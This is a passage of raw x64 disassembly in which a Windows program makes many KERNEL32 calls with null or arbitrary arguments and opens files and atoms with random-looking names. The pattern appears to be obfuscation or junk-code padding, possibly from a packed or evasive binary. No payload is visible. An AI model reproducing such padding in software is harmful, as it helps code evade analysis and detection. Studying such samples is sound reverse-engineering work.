mov dword [rsp + 0x4984], eax
mov dword [rsp + 0x20], 0x5bb
mov r9d, 0x38c3
mov r8d, 0x3ad1
mov edx, 0x313e
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4810], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov rcx, qword [rsp + 0x8e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x279], al
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a2c], eax
lea rcx, [rsp + 0x9908]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x20], 0
mov r9d, 0xa8d
mov r8d, 0x30f2
mov edx, 0x6f
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x49e0], eax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0xfc4]
movzx ecx, word [rsp + 0xdec]
xor eax, ecx
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
mov rcx, qword [rsp + 0x9998]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x9760]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46bc], eax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x12b], al
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xf90]
or eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.8H_b3bKOuuceV3u
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b28], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x4890]
mov dword [rsp + 0x4a30], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9b30], rax
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a00], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x91f0]
mov qword [rsp + 0x9b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b38]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1044], ax
xor r9d, r9d
lea r8, [rsp + 0x8d50]
mov rdx, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x492c], eax
lea rcx, str.O2RiT1X_ZvV1O
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1048], ax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf68], ax
movzx ecx, word [rsp + 0xfcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1040], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xffc], ax
lea rax, [rsp + 0x42f4]
mov qword [0x14024f310], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov qword [rsp + 0x20], 0
mov r9d, 0x33ba
mov r8d, 0x1a99
mov edx, 0x11
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a34], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
cdq
mov ecx, 0xdb0
idiv ecx
mov word [rsp + 0xf0c], ax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rax, [rsp + 0x281]
mov qword [rsp + 0x9b40], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9738]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7b18], rax
mov rax, qword [rsp + 0x9ab0]
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov word [rsp + 0xf84], ax
movzx ecx, word [rsp + 0xf9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.o1Jln1JQwFf8dzX3B96g
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b58], rax
movsx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x9848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dd0], eax
mov rax, qword [rsp + 0x93b8]
mov ecx, dword [rsp + 0x4a1c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4920], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0x9618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f394], ax
lea rdx, [rsp + 0x9b20]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4978], eax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x9690]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9080], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x9838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ed0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x49d0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov word [rsp + 0xe34], ax
mov rax, qword [rsp + 0x93e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4140]
shl eax, cl
mov dword [rsp + 0x4a24], eax
mov rax, qword [rsp + 0x9658]
movzx eax, byte [rax]
mov byte [rsp + 0x286], al
mov rax, qword [rsp + 0x98b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x1cf5
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49ac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rax, [rsp + 0x280]
mov qword [rsp + 0x9b68], rax
lea rcx, str.Hf9951KPp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x104c], ax
lea rax, [rsp + 0x43a8]
mov qword [0x14024f308], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x95b8]
mov rax, qword [rax]
mov rcx, qword [0x14024f3c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9690]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9a58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x97f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9208], rax
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x1050], ax
lea rcx, str.CXxOr_jWmV0iQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1040], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a38], eax
mov eax, dword [rsp + 0x46e8]
mov ecx, dword [0x14024f31c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
lea rax, [rsp + 0x4890]
mov qword [rsp + 0x9b70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.6Fv9sleiK4bzSKFz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b78], rax
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a3c], eax
mov dword [rsp + 0x20], 0xe0b
mov r9d, 0x2236
mov r8d, 0x31c0
mov edx, 0x355
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4958], eax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9b80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2550
mov r9d, 0x3b2d
mov r8d, 0xe76d545a
mov edx, 1
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x493c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x1686
xor r8d, r8d
lea rdx, [rsp + 0x8e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49bc], eax
movzx ecx, word [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf1c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x111d
xor r8d, r8d
lea rdx, [rsp + 0x99f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49bc], eax
movsx eax, byte [rsp + 0x283]
mov rcx, qword [rsp + 0x9680]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9568]
mov byte [rcx], al
lea rdx, [rsp + 0x9b88]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4958], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [rsp + 0x280]
mov qword [rsp + 0x9b90], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9b98], rax
mov r9d, 1
lea r8, [rsp + 0x9b08]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x498c], eax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14024f378]
mov word [rcx], ax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1054], ax
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a34], eax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4a40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49b0], eax
movzx eax, byte [rsp + 0x276]
movzx ecx, byte [rsp + 0x1a3]
imul eax, ecx
mov byte [rsp + 0x14c], al
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9670]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x95b8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
lea rcx, [rsp + 0x9ba0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9888], rax
lea rdx, [rsp + 0x8f90]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a44], eax
movzx ecx, word [rsp + 0x1040]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
movzx ecx, word [rsp + 0xf6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1058], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov r9d, 0x1299
xor r8d, r8d
lea rdx, [rsp + 0x9b80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, word [rsp + 0xfe8]
mov word [rsp + 0x105c], ax
lea rcx, str.HH_GMvvc_JMg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x47c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x97a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x154]
sub eax, ecx
mov byte [rsp + 0x189], al
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x4968]
mov dword [rsp + 0x484c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov word [0x14024f302], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9ba8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x2080
xor r8d, r8d
lea rdx, [rsp + 0x90d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a48], eax
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a18], eax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, byte [rsp + 0x1a3]
mov byte [rsp + 0x287], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.Daudt3Tw0c5A2LZknWW8P
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9bb0], rax
mov rax, qword [rsp + 0x9af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9888], rax
lea rcx, str.B05gdbE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1044], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov dword [rsp + 0x20], 0x3978
mov r9d, 0x23b4
mov r8d, 0xbdc
mov edx, 0x1284
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a00], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.rHuZKhhLvrbNg17aJ1lOW71
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9bb8], rax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4974], eax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72], al
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0xf60]
or eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x97d0]
movzx eax, byte [rax]
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a08]
shl eax, cl
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0x9630]
mov ecx, dword [rsp + 0x4774]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49cc], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe34]
sub eax, ecx
mov rcx, qword [0x14024f378]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9bc0], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x48f4], eax
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov qword [rsp + 0x9bc8], rax
movzx eax, word [rsp + 0xdac]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov word [rsp + 0x6d8], ax
lea rcx, str.CHKGpY_QDEs6vEF8IsVq6_IEYSEy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x484c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4628], eax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x281]
sub eax, ecx
mov byte [rsp + 0x277], al
mov eax, dword [rsp + 0x4a08]
mov ecx, dword [rsp + 0x4024]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4988], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x9bd0], rax
lea rdx, [rsp + 0x9b88]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x482c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.33rQMFb9OLAInOCIsmgW6dS6PdntKGv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9bd8], rax
mov rax, qword [rsp + 0x9a88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x288]
and eax, ecx
mov byte [rsp + 0x154], al
mov edx, 0xdce
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
mov rcx, qword [rsp + 0x8e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8850]
mov qword [rsp + 0x9be0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.EqpX9h_vDcBF5XJ0HktGfat5B
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9be8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x9538]
mov ecx, dword [rsp + 0x4768]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
lea rcx, [rsp + 0x9810]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [0x140230e40]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xffc], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a4c], eax
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
movzx ecx, byte [0x14022103c]
sub eax, ecx
mov byte [0x14022103d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0xf0c]
add eax, ecx
mov word [rsp + 0x600], ax
lea rdx, [rsp + 0x9bf0]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x25a6
mov r9d, 0x121b
mov r8d, 0xcec36778
mov edx, 1
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4978], eax
lea rdx, [rsp + 0x9a58]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a50], eax
lea rcx, [rsp + 0x9000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x7b28]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7af8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0x9838]
mov qword [rsp + 0x9bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ab0], rax
lea rax, [rsp + 0x49f0]
mov qword [rsp + 0x9c00], rax
movsx eax, byte [rsp + 0x284]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9680]
mov byte [rcx], al
movzx eax, word [rsp + 0xf70]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xb9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx ecx, word [rsp + 0xfe4]
